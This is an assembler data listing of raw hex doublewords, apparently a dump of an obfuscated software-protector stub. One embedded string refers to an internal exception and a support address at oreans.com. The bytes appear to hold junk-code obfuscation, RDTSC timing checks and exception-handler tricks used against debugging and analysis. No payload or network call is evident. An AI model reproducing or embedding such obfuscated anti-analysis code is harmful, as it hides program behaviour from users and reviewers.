0F0A2D446h dd 3AB9CBD3h, 0E549398Bh, 0F598E6A9h, 0CA858B61h, 6A093875h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 8289C352h, 8C0FF81Fh, 1Bh, 0E99DB360h, 12h dd 0BC32E7C1h, 104C3994h, 260B08F4h, 53800E8Dh, 0F961F74Ah dd 750EB58Dh, 6A0938h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 75B0A5C3h, 2CD634Fh, 0E96057EDh dd 14h, 0F2722432h, 0BAC803AFh, 64E10DE2h, 51537D33h, 0FC7718AAh dd 7850F61h, 0F000000h, 18Fh, 858DFC00h, 9384C2Dh, 1860Fh dd 0FFFC0000h, 6E9D0h, 695F0000h, 2DA00307h, 6E378589h dd 66600938h, 61A172BEh, 18C0F61h, 0F5000000h, 6E37858Bh dd 6A0938h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0D26A1BC3h, 6AC3A663h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0BB57C357h dd 0E93B0B0Bh, 0Dh, 44F340BFh, 0CFED4A21h, 0D9D5CFF9h dd 12E9E1h, 0FB250000h, 42DAACCEh, 6CEA4C2Bh, 13D580Fh dd 0FCD4C8CDh, 0E3816060h, 19DAA7E6h, 9C47D881h, 83613BEBh dd 3875CABDh, 850F0009h, 69h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0EFC35141h, 60604852h, 8B0Fh dd 6CB80000h, 611D6B05h, 7C1FD981h, 60614673h, 0D38B6660h dd 66611FB3h, 6141B3BAh, 75CA85C7h, 13F0938h, 6A0001h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 50869AC3h, 30E9C9h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 489FBBC3h, 0D6305267h dd 0E9E86448h, 6, 0B98BBA03h, 20CD627Ah, 0 dd 3774C00Bh, 8B0C708Dh, 386E3FBDh, 8B909h, 75A60000h dd 0FA754922h, 8B30488Bh, 386E3B9Dh, 34583B09h, 0D38B157Fh dd 304D26Bh, 89018BCAh, 386E3785h, 8B04EB09h, 61C5EB00h dd 6E37858Bh, 6ACF0938h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0BCBAC357h, 4FA7035Ch dd 168B0F85h, 0F000000h, 1082h, 0BE900h, 482A0000h, 56E02E88h dd 0F41DB1A9h, 0E8C08B67h, 0Bh, 3CF9CA4Fh, 0D9F132DAh dd 0FDA8485h, 0E958D7B7h, 0Ch, 0BB066577h, 7E8F4B88h, 98C03C5Fh dd 6A68C081h, 5E80000h, 0A1000000h, 0FCA75A28h, 378058BFh dd 685F68h, 0F000000h, 0F95BFFBFh, 66180C8Bh, 81BFC2BEh dd 197333C1h, 3820F1Eh, 53000000h, 0E9815EF5h, 716346B4h dd 0A3CA8166h, 8AC18153h, 667C275Fh, 5180A6BFh, 5F15F781h dd 48F43D6h, 1EBF6618h, 6800F48h, 81000000h, 7916BEE6h dd 91EB8120h, 565D56F5h, 5890Fh, 0FEBA0000h, 5E5F727Ch dd 0F58DC381h, 0F98B5D56h, 9688FB81h, 850FFFFFh, 1Eh, 4870Fh dd 0BE660000h, 39E96C77h, 93000000h, 0D35AECBDh, 488BCB15h dd 484B7303h, 9E84843h, 0C9000000h, 67A9443Bh, 90E018BDh dd 8E9h, 0FA330B00h, 0ACF63B33h, 55E95AE2h, 0DEFFFFFFh dd 89431738h, 66644E70h, 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 13B3E900h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 858BEAC3h, 9352621h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0AEC35747h, 0F7C3DEA1h dd 8B602A0Eh, 3506AD8Dh, 0CE909h, 0B8660000h, 0EF84C81h dd 5C2AC205h, 0FC618931h, 4244439h, 0D4850Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0C45185C3h, 0E1152109h, 8B0F599Ch, 0Ah, 5E9h, 0A4BFEC00h dd 0BD835398h, 93523CDh, 93840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 4AF1C352h, 688C385Dh, 60D8E3F6h, 0BE9h, 945E9600h, 239AB443h dd 0D17684D1h, 3898858Dh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 84572BC3h, 978D792Ch dd 51BD018Fh, 0F9093525h, 6AE0FFh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0CD4A81C3h, 880F9783h dd 6, 17A58589h, 858B0935h, 935057Dh, 24BDBD29h, 44390935h dd 850F0424h, 43h, 0FDE8B60h, 0C761CFBFh, 387B4B85h, 109h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 47699FE2h, 0C820F68h, 0F000000h, 681h, 2DB58900h dd 60093501h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0B3C35141h, 382373DBh, 890F13E2h, 15h, 10E9h, 3250C900h dd 895DB57Fh, 2A05669Ah, 6A21E4A5h, 39E990h, 0E9600000h dd 14h, 0FD135090h, 270D2085h, 6C59C8B8h, 0E7031C64h, 223DDD4h dd 2E55B58Bh, 60610935h, 68B0Fh, 0B5890000h, 9350861h dd 2C658533h, 610935h, 0B8000000h, 1, 7D618587h, 0C00B0938h dd 0B5FFF675h, 935179Dh, 7B43858Fh, 206A0938h, 95FFFF6Ah dd 9351EA1h, 80DBD83h, 74000935h, 0FF006A08h, 35082995h dd 0F9BD8309h, 1093515h, 80680D74h, 6A000000h, 0A195FFFFh dd 6A09351Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0F94FC350h, 1870Fh, 6AF90000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 7D9DC357h, 0D4C7076Dh, 0C37F10FDh, 0EE9h dd 0DBC43B00h, 0FD985EF2h, 0A3C06D0Ch, 0B896D125h, 0 dd 2DE19589h, 548B0935h, 14E92824h, 5000000h, 0C618759h dd 410B5931h, 0D366D0B4h, 0E53CF2E1h, 89E33B2Eh, 35127D85h dd 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 5F2D9410h, 188A0F15h, 0E9000000h, 13h, 11551EFEh dd 8669AC13h, 0FAA690E5h, 0A569CD28h, 0F6EC261h, 0B80h dd 8B666000h, 398D31D1h, 61093527h, 3CBEh, 35BD8900h, 3093511h dd 0F242474h, 1482h, 0FE900h, 9F310000h, 0DE013CAEh, 27546BA3h dd 0DF5E23D9h, 6AAD66AAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0E912C350h, 12h, 114B7A08h dd 6E255EC9h, 0C767E313h, 0ADE4A1F4h, 8C0F23A1h, 6, 6398D89h dd 44030935h, 7E92424h, 38000000h, 9271DF4Bh, 0F906731h dd 0E82h, 0F525000h, 8Dh, 60310F00h, 50585A61h, 0DE9h dd 52C44400h, 83E7481Fh, 0FEC8D7B1h, 6A90F990h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 3E2FC353h, 0BBB29E07h, 85896084h, 9352B2Dh, 4089BE66h dd 598D3161h, 8B093503h, 890F7840h, 0Eh, 1D8D8960h, 89093532h dd 35179995h, 0BD836109h, 9387B4Bh, 0EE850F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 9B51C352h, 0F50FCA1h, 0E86h, 60525000h, 0F310F61h dd 8Eh, 89585A00h, 6A2404h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 448BD6C3h, 90FC2C24h dd 0FE9h, 0DBCD1200h, 0AD757E85h, 58FF08A8h, 0DD31684Dh dd 50506050h, 5A310F52h, 0E8605958h, 0Ch, 0A7B6DD39h, 8D2E1F48h dd 0D3E94186h, 0CA8B665Fh, 6A906161h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 72D4C357h dd 341821C2h, 8DF5F54Eh, 384CBF85h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0EDF2B8E1h dd 5EE64707h, 0FFF809A4h, 6870FD0h, 89000000h, 350A6DBDh dd 24440309h, 408BF928h, 50006A18h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0CA28B11Ah, 10E9h, 1FEC9000h dd 95D0D9A2h, 82F18DDBh, 896B8677h, 8E0F4048h, 9, 419D8960h dd 0F909351Bh, 47858961h, 0F09387Bh, 0C84h, 6810F00h, 89000000h dd 35163DBDh, 6A5809h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0DC9694C3h, 116CDAFh, 350D2D85h dd 7850F09h, 0F000000h, 18Fh, 708BF900h, 79BD2978h, 83093501h dd 9D311CC6h, 935061Dh, 50006A96h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0E8803D51h, 29D90A7Dh dd 3521C58Dh, 247C8109h, 24h, 0F7870F10h, 0F000000h, 684h dd 499D3100h, 2909350Bh, 350121BDh, 52505009h, 11E9h, 7EF96C00h dd 0D605DA81h, 74B5240Bh, 0C6F35A0Ch, 310F61E7h, 61605250h dd 7E9310Fh, 4C000000h, 77A7BBB3h, 585A6715h, 489585Ah dd 85858924h, 8B093511h, 0E9282444h, 13h, 708E9F51h, 34743D1Dh dd 0B0AA398Ah, 67908CC0h, 50C05EAAh, 9E860h, 46E30000h dd 0A80216A0h, 8BB98C77h, 0F7BE59F3h, 611D772Eh, 9240489h dd 352DBD9Dh, 0BF858D09h, 6A09384Ch, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0DE42C353h dd 12A3F7BEh, 820F4A8Ch, 16h, 11E9h, 84E9E800h, 1F32304Eh dd 20751368h, 0D8E53E9Dh, 8960B142h, 3524F5B5h, 0D0FF6109h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 71C35343h dd 6096952Bh, 2B89B58Bh, 9D8B0935h, 9352B89h, 24740361h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 6DDC5C67h, 63A8FE90h, 8B6660B4h, 20B866F7h dd 316061A9h, 350D258Dh, 0BD8D6109h, 9350571h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 37C35747h, 0A58143CFh dd 4ADD949h, 0C830Fh, 8F0F0000h, 6, 515BD29h, 820F0935h dd 1Eh, 0EEE8160h, 0E872D9E9h, 10h, 2D95EA47h, 35A6F516h dd 0ADDAD97Ch, 0BEBA6C47h, 89AD6159h, 3523A9B5h, 247C8109h dd 24h, 37870F10h, 6A000001h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0F758C351h, 0D51FD58Dh dd 800F76A9h, 1, 525050FCh, 11E9h, 16506D00h, 1E094BF2h dd 8D5399CEh, 19FD3F59h, 310F3BB6h, 61605250h, 6160310Fh dd 585A585Ah, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0A0C0C356h, 818BE200h dd 60FFFD5Dh, 7E9h, 17B47E00h, 0C8CC9F5Fh, 6758D09h, 0E9610935h dd 0Ah, 0A4822CD7h, 981707BDh, 448BC88Ch, 6A2824h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0CF16A7C3h, 14E950h, 32E80000h, 69137C67h, 696BA6B3h dd 7074199Bh, 0F4951B03h, 489C77Fh, 1860F24h, 0F5000000h dd 4CBF858Dh, 6A0938h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0F692B4C3h, 0FF909EB5h, 50006AD0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0A5DC9431h, 95895E66h, 9351029h, 2D118D29h, 44030935h dd 0B5892424h, 9353055h, 0E9F560ABh, 11h, 0AE10C602h, 7B8484EFh dd 9FA49419h, 0E9F098FBh, 0FA81617Ch, 10000h, 88D820Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0FCFC05C3h, 0A99D8960h, 0F093525h, 283h dd 615E5300h, 1D59BD8Dh, 6A0935h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0A82CA5C3h, 13E96571h dd 7A000000h, 1279DBE1h, 5FADE21Ah, 0CD3BC095h, 0DF2D146Ah dd 6AAD53E3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0FD5AC357h, 89B7AA46h, 352D9D8Dh dd 247C8109h, 24h, 27870F10h, 0FC000001h, 2D198D01h, 50900935h dd 8B666052h, 616160C3h, 5250310Fh, 8D0Fh, 310F0000h, 8F0Fh dd 585A0000h, 6050585Ah, 8E95250h, 0F5000000h, 14EFFE41h dd 0F6E86D0h, 8A0F31h, 5A000000h, 0BB666058h, 5250944Ch dd 585A310Fh, 0E9906161h, 0Eh, 5DC7485h, 2CB156B8h, 25C0DF14h dd 850F6690h, 6, 2791BD89h, 448B0935h, 0F602824h, 68Dh dd 0D9BD8B00h, 89093531h, 350B5185h, 50906109h, 60525052h dd 60310F61h, 0F585A61h, 0B9666031h, 0FE98F5Ah, 0C5000000h dd 90B95100h, 0B2F4022Ah, 3758B9C9h, 5A613ED7h, 52505058h dd 0C3BE6660h, 615F5728h, 0E860310Fh, 5, 0F86C4D94h, 94BF5B2Eh dd 615DB334h, 0E990585Ah, 0Bh, 67BDC4C5h, 813BF4F1h, 8D12236Dh dd 384CBF85h, 0A9858909h, 0FF09350Ch, 57006AD0h, 3E8h dd 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 1D3E859Bh, 36067ABh, 351DEDB5h dd 0F5B58909h, 6109350Ah, 1BD5BD29h, 44030935h, 6A2424h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0FE2825C3h, 8E9h, 1462200h, 0CED08C80h, 6E990FBh, 9E000000h dd 0E9BA49A4h, 800F5066h, 12h, 0C840Fh, 7E90000h, 7000000h dd 0F57198E2h, 0E9901027h, 0Ah, 0F9F901B1h, 0ED7F1A41h dd 6AABF0F2h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0DE56C352h, 74DA96EAh, 0B58936BBh dd 9353259h, 0A79BD8Dh, 6A0935h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0C833C1C3h, 0F9605E4Ah dd 53006AADh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 8D8589F2h, 81093507h, 28247Ch, 0F100000h dd 12687h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 359D297Ch, 0F09351Fh, 681h, 39BD8900h dd 5009352Ch, 10810Fh, 0BE90000h, 81000000h, 7F0C6782h dd 0F0BD4FEFh, 4896784h, 0EE924h, 0D1200000h, 0B6C9390Bh dd 4B4A6FEBh, 3B4BF441h, 2C24448Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 93C35242h, 5406F4F6h, 0F1437F90h dd 8D0FF8F8h, 0Ch, 6830Fh, 0BD890000h, 935305Dh, 0BE9h dd 9D123A00h, 1D770E8h, 2CAAEDA7h, 8A576050h, 10E95AC3h dd 6C000000h, 5FE8925Eh, 0BCCB066h, 805DE26Ah, 616EB1C8h dd 60240489h, 0DE8h, 2E1B6600h, 35253F51h, 0F4B8C339h dd 8B66EC10h, 8D615BC7h, 384CBF85h, 12E909h, 6FA20000h dd 83C1A11Bh, 0B123BAEBh, 0EFA66F77h, 3737B8CCh, 6AD0FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 89BA08C3h, 35122D9Dh, 6DBD8909h, 3093522h, 6A282444h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 22BBC357h, 0D18B60CEh, 0DE9h, 0D60C3000h dd 0E3AEBC0Ch, 0FE38BFD0h, 0F861E380h, 55006AABh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 60EC9401h, 13E9h, 0AF682B00h, 0F8BE79h, 5FA454CAh, 0FC23D702h dd 0D3D87CFEh, 6800Fh, 0C8810000h, 6C0DAC6Ah, 8DFF5E61h dd 9387B47h, 7B47BD83h, 75000938h, 8DC0330Ah, 388C33B5h dd 56E6FF09h, 247C81ADh, 28h, 500E7710h, 2C24448Bh, 0BF858D50h dd 0FF09384Ch, 244403D0h, 0DF8B9728h, 7B43858Ah, 0C0840938h dd 73A0474h, 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh dd 0C033D18Bh, 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h dd 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h dd 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h dd 835E0F74h, 85FF04C6h, 935127Dh, 0FFFF5DE9h, 810F5EFFh dd 1, 51006AF8h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0E9CB338Ah, 14h, 2981DFDBh, 0A8AA4129h dd 0E8CDA16Fh, 79C5AD80h, 0AC1CBFD4h, 0B8B0Fh, 6E90000h dd 0F8000000h, 7F29A7Dh, 7D858B42h, 6A093512h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0B3ABC350h, 3C326768h, 0DE906A5h, 1D000000h, 485BA135h dd 9829FE73h, 8B9F74DEh, 6AE0D1F8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F9A8C350h dd 0A798503h, 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 681BD8C3h, 0FC6B2B7Fh, 0E840Fh dd 89600000h, 35164D95h, 800F09h, 61000000h, 230D8D89h dd 0BE0935h, 0E9000000h, 8, 0B501554Eh, 2A6AA34Fh, 91B58996h dd 66093501h, 57006AADh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0C139F3A3h, 6A02E0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0FED19DC3h dd 9A26BEFFh, 0F6153CDh, 0C89h, 68A0F00h, 31000000h, 350CE985h dd 81666009h, 0F49F2C0h, 361D2BFh, 35057185h, 52006A09h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 1BCDD2C4h, 0FE9CFh, 0FC920000h, 0E22BF8DFh, 8DC0B794h dd 7544B778h, 0E86096ABh, 13h, 0FB623912h, 6712B7Dh, 0C16D20Fh dd 1D4B467Ch, 0E9274C56h, 12h, 640AD6E2h, 0A2FAE0A2h, 7D1A4A6h dd 2C16B27Bh, 6159C533h, 11860FADh, 0E9000000h, 0Ch, 0B0A6F665h dd 7F75608Ch, 6718BA9Eh, 24247C81h, 10000000h, 0BE870Fh dd 85890000h, 9352699h, 50525050h, 0F525052h, 0F585A31h dd 0FE931h, 0DA830000h, 2393401Fh, 0E1D15618h, 0C844AC80h dd 0F585AA5h, 0BE666031h, 12E93B5Ch, 83000000h, 877BDAD7h dd 0C9766C23h, 0A4192B45h, 46676C82h, 585A613Ch, 0E9240489h dd 0Fh, 0CCF348DBh, 0FDE3F1FCh, 749BFE55h, 8B93B41Ah, 29282444h dd 35179195h, 0CE99009h, 7000000h, 0C9BAA9C1h, 13084C31h dd 50A28B15h, 0FCBA6660h, 0F7BA6080h, 61272E13h, 860F9061h dd 1, 850F60F8h, 2, 89516160h, 350DE595h, 8D615809h, 384CBF85h dd 25B50109h, 0FF093501h, 0BE60FCD0h, 7B0865F0h, 61FFB70Fh dd 24244403h, 8E9h, 0E5012500h, 6FFD6D1h, 244489FDh, 50006A1Ch dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E9892A11h, 14h, 0DC1A8CC2h, 89407533h, 2C4EC847h, 58870A0Bh dd 0E5653445h, 179D85C6h, 0C7000935h, 387D6185h, 9, 4B85C700h dd 9387Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0A132C353h, 7185893Ah, 0E909350Fh dd 0Fh, 6E3C8D3Ch, 0B0F3ECC4h, 25875D13h, 0F9F9DA0Dh, 6660FC61h dd 89ACFBBEh, 352635B5h, 8C26109h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F01B990h dd 682h, 69858900h, 8B093500h, 35057185h, 55B58909h, 4A09351Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4EC35242h dd 0CF239854h, 0C1BD0960h, 6009352Ch, 60D88B66h, 6B616161h dd 6A04D2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 967BEBC3h, 0C3C0CD89h, 0AE860h, 8040000h dd 0AD3C7ABBh, 27C05149h, 0E858F78Bh, 0Bh, 8DBFCB99h, 3139E38Dh dd 0B327665Ch, 0F615AA8h, 0F8Ch, 0AE900h, 0F1C60000h, 0A387B05h dd 61A06736h, 6AC203h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 81F4E7C3h, 0DE970h, 0D27C0000h dd 283D6975h, 0E60869E6h, 607C0449h, 0CE8h, 0EBDFA500h dd 2FA62FC6h, 0D581D386h, 0C5B58BBBh, 5E093528h, 3225B589h dd 96610935h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0BAC35141h, 0B589FE62h, 93527F9h dd 98589ADh, 81093528h, 24247Ch, 0F100000h, 0DA87h, 8589F900h dd 93513E1h, 0A840F50h, 50000000h, 0F616052h, 5A616031h dd 24048958h, 68C0Fh, 8D290000h, 935222Dh, 2824448Bh, 0DE9h dd 3EC64800h, 0A0A8F5D8h, 93DD0458h, 50F8A8AEh, 66605250h dd 0F61CE8Bh, 14E931h, 4A9E0000h, 816C2454h, 0C07292B8h dd 3888923Eh, 41D8AA91h, 585A07CBh, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0E40DC355h, 50E10109h, 0B5313F5Ah, 9351ABDh, 4CBF858Dh dd 29F80938h, 3529619Dh, 6AD0FF09h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0E02AC352h dd 0A08A25F2h, 0F4C296Ah, 118Eh, 0B830F00h, 0E9000000h dd 6, 4A19404h, 0E9F9D714h, 0FFFFFD1Ch, 2B858DF8h, 6A093893h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 43B5C357h, 0E9525090h, 10h, 1585200Dh, 0E2A520EDh dd 1044347Eh, 91B0C1DCh, 8C0F310Fh, 2, 585A6160h, 0E9525050h dd 0Bh, 13564A30h, 39DACDABh, 0FF05E5Ah, 0E9525031h, 11h dd 929218DFh, 0D7E19ED4h, 7CD518B8h, 0CFCABD79h, 50310F1Ch dd 5A310F52h, 5A585A58h, 6A9058h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0DB48D3C3h, 6BC0E5B6h dd 35BD8973h, 0F09350Ch, 0C85h, 6860F00h, 0F000000h, 82h dd 35FF6400h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E1C35646h dd 213A2FEAh, 426043E0h, 9D896069h, 9352A5Dh, 0DB816660h dd 61613ED1h, 6A24048Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 30E1C353h, 0B7A9F44Fh dd 8D298B3Fh, 9352D3Dh, 1BF98589h, 6A0935h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 73D7D2C3h dd 60770C7Fh, 810FCCB6h, 6, 29959589h, 810F0935h, 1, 258964FCh dd 0 dd 0BF58589h, 858D0935h, 9389121h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 59C35747h, 0F5DA15Fh, 148Dh dd 0FE900h, 0C3CD0000h, 4376166Ch, 0BF017F5Eh, 3E7CA423h dd 16089B6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 7EC35141h, 68D0Fh, 9D290000h, 9352B5Dh, 275E9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0EB67B7C1h, 1E4990AEh, 6850FFCh, 1000000h dd 3504B5BDh, 0E8DB8B09h, 0 dd 1AED815Dh, 0BC093891h, 12FF9Ch, 15F9BD83h, 74000935h dd 0AD858B18h, 0C6093526h, 858B0000h, 9351C69h, 0FF0000C6h dd 351AC995h, 0B5FF6009h, 938774Fh, 7753858Dh, 8D500938h dd 38794B85h, 95FF5009h, 9352759h, 610CC483h, 1800Fh, 60F50000h dd 1261B52Bh, 0B58B0935h, 9352599h, 4BB58D61h, 6A093879h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 179EC356h, 0DE999h, 0A8780000h, 0AFEE6B2Dh dd 0EAA87FEFh, 291CDE30h, 3522CD8Dh, 9DBD8D09h, 6009351Fh dd 1A00BB66h, 8061D08Bh, 840F003Eh, 71h, 68F0Fh, 95310000h dd 9352DD5h, 0ED9D8B60h, 66093531h, 70EFEE81h, 6AA461h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 7C3DD5C3h, 143A2881h, 0FA89E7Dh, 183h, 0ACE9F800h, 6AFFFFFFh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0D89EC357h, 0C741BCD5h, 0E76F3Eh, 0B8F9h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 4EDD01C3h, 0A02A9E2Fh, 89EE264Ah, 35029195h dd 18D0F09h, 0F9000000h, 0B8C0FAAh, 60000000h, 262DBD09h dd 0BF0F0935h, 7B861DFh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7D26C351h dd 0EE950E8h, 0D2000000h, 0D03522A0h, 0EA4F06B1h, 0A584BE6Dh dd 0B185C75Eh, 1093516h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 31CDC353h dd 35249DB5h, 28D8D09h, 6A09354Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A82CC350h dd 0EE96571h, 6C000000h, 0DD7B0844h, 405F3270h, 7753DBD3h dd 89E1FFD1h, 350C9995h, 245C8B09h, 0E8550Ch, 5D000000h dd 9335ED81h, 838B0938h, 0B8h, 774F8589h, 858D0938h, 9389113h dd 0B88389h, 335D0000h, 6660C3C0h, 0BF0FFB8Bh, 14E961D6h dd 4D000000h, 18ADE515h, 0F9A44EB0h, 9396F586h, 65B10139h dd 60342690h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 6AC35747h, 4C715108h, 0D08FDDC8h, 34858D8Bh, 89093896h dd 35035195h, 52509009h, 0EE860h, 0A1200000h, 270C4F58h dd 91EFA181h, 30618397h, 310F6158h, 28E0Fh, 61600000h dd 5050585Ah, 68A0F52h, 50000000h, 5A310F52h, 0F310F58h dd 287h, 5A616000h, 64FC9058h, 35FFh, 81600000h, 0D81CFEAh dd 8B60617Bh, 350359BDh, 45858909h, 6109352Ch, 258964h dd 29000000h, 350E95BDh, 0C5858D09h, 60093896h, 8E8h, 7B367600h dd 1DA9EA33h, 0E6BF667Ch, 0EE95AF6h, 98000000h, 0AEF0A7AEh dd 4D811B8Fh, 0C6BF3E17h, 6089618Bh, 53006A01h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 7F6D2527h dd 6890F46h, 89000000h, 35128585h, 9D85C609h, 4F093517h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 55C35141h dd 6820F6Eh, 9000000h, 3528E995h, 68C0F09h, 89000000h dd 350A7595h, 4E809h, 742A0000h, 0E960FEC8h, 8, 85336C8Eh dd 3821E246h, 830F5061h, 0Ah, 61605250h, 6160310Fh, 448B585Ah dd 52500424h, 158A0Fh, 10E90000h, 0EF000000h, 8860C9ABh dd 8D1F3D76h, 2B5E176Dh, 0FE22958h, 68A0F31h, 0F000000h dd 81h, 8B585A00h, 60525000h, 0B9665B53h, 0F614362h, 2890F31h dd 60000000h, 89585A61h, 60042444h, 0EB92AEBAh, 0AD3CB806h dd 586147DFh, 0E857006Ah, 